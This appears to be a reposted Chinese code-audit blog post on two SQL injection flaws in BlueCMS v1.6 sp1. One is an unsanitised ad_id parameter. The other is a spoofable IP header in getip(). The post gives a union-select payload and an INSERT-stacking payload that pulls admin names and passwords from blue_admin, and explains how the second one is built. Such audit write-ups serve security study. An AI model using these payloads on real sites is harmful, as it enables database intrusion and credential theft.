代码审计之SQL注入:BlueCMSv1.6 sp1

注入一

我们看到很明显的一个地方

这里get传参的ad_id给了sql语句执行 这个cms虽然不是mvc模型但是采用的和discuz差不多都是采用模型推入,模板渲染两步把模板功能很清晰的分开 所以我们不难在全局方法中找打getone

我们进一步跟进一下getone方法

    function getone($sql, $type=MYSQL_ASSOC){
    	$query = $this->query($sql,$this->linkid);
    	$row = mysql_fetch_array($query, $type);
    	return $row;
    }
<?php
$con = mysql_connect("localhost", "hello", "321");
if (!$con)
  {
  die('Could not connect: ' . mysql_error());
  }

$db_selected = mysql_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Adams'";
$result = mysql_query($sql,$con);
print_r(mysql_fetch_array($result));

mysql_close($con);
?>

输出类似:

Array
(
[0] => Adams
[LastName] => Adams
[1] => John
[FirstName] => John
[2] => London
[City] => London
) 

 就是一个执行$sql语句的函数返回结果 那我们来观察这个语句

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

 很明显$ad_id在get方法里面经过trim去掉两边空白字符就给sql语句执行了

那么构造我们的payload

很明显还有报错注入

SELECT * FROM table(ad) WHERE ad_id =1 union select 1,2,3,4,5,6,7

 

 注入二

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);

 首先我们看到的是这段代码

其他不看由于今晚时间有限直接定位到

getip()函数

就是从各类含有ip的http各种头里面获取ip未对ip进行任何处理

那么我们这段代码里面的getip()就是我们可控的请求里面把ip对应的参数改了就行

1','1'),('','6','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
payload分析:1’,’1’)是为了完成第一次插入,之后的()是为了完成第二次插入,前面的 ‘’,’6’,’2’,’1’,’6’ 是与第一个插入语句的参数相对应。接下来,我们把查询到的账号密码放在了第六个参数即content位置,这样能实现回显。而最后的 ‘1’,’1 是要满足列数相等否则会出错,同时要注意闭合原本语句中的单引号,其中第一个 1 对应sql语句中的$timestamp,表示发表时间,这个无关紧要。

所以这样插入后完整的sql语句是:
$sql = INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
  VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','6','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";

猜你喜欢

转载自www.cnblogs.com/-zhong/p/12507912.html
SP1
今日推荐